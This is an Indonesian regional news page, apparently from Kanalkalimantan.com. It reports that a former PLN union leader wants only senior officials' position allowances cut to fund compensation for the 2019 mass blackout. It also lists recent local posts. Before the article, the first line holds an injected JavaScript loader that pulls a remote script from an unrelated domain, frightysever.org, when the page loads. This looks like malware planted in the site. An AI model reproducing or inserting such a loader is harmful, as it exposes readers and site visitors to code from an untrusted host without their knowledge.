(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Terkuak! Ini Tunjangan Pegawai PLN yang Dipotong Akibat Mati Listrik Massal


Ketua Serikat Pekerja PT Perusahaan Listrik Negara (Persero) atau PLN periode 2016-2019 Jumadi Abda membeberkan gaji tunjangan jabatan yang didapat para pegawai PLN. Rencanannya, tunjangan jabatan tersebut yang akan dipotong untuk pembayaran kompensasi imbas dari padamnya listrik secara massal yang terjadi di sejumlah daerah.

Jumadi melanjutkan, tunjangan jabatan yang didapat level direksi itu hampir lima kali lipat dibandingkan pegawai fungsional.

Ia menyebut pegawai fungsional hanya mendapat tunjangan hanya Rp 3 juta, sedangkan pegawai level atas Vice Presiden hingga Direksi mendapat tunjangan hingga Rp 12 juta.

“Yang dipotong itukan P2 atau Pay For Position, tunjangan jabatan lah sebenarnya. Dulu saya hanya Rp 3 juta, kalau dia struktural Rp 12 juta, atau bisa lima kali lipatnya,” ujarnya saat dihubungi Suara.com -jejaring Kanalkalimantan.com-, Rabu (7/8/2019).

Jumadi yang telah terkena Pemutusan Hubungan Kerja oleh Sofyan Basyir ini pun meminta, pemotongan tunjangan itu juga hanya tak hanya sebulan saja. Namun, bisa dipotong beberapa bulan sebagai bentuk tanggung jawab para direksi imbas dari padamnya listrik tersebut.

“Menurut saya bukan hanya satu bulan Beberapa bulan sebagai pertanggung jawaban mereka lah, terutama direksi,” katanya.

Jumadi mengingatkan agar perusahaan tak memotong gaji pegawai level Bawah untuk kompensasi.

Menurutnya, yang pantas dapat pemotongan gaji itu adalah pegawai yang memiliki jabatan struktural seperti Direksi hingga Vice President.

“Jadi terkait rencana pemotongan gaji pada prinsipnya kalau yang dipotong pejabat bertanggung jawab saya kira oke-oke saja, tapi bukan pegawai biasa lho,” ucap Jumadi.

Sebelumnya, Direktur Pengadaan Strategis 2 PLN Djoko Raharjo Abumanan memastikan biaya untuk kompensasi atau ganti rugi akibat insiden mati listrik atau blackout tidak akan membebani APBN. Pasalnya, biaya kompensasi senilai Rp 800 miliar lebih itu bakal ditutup dengan mekanisme potong gaji karyawan.

Ia sendiri mengatakan PT PLN (persero) tidak berani mengambil dana APBN sebagai biaya ganti rugi terhadap konsumen lantaran bukan peruntukkannya. (suara.com)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.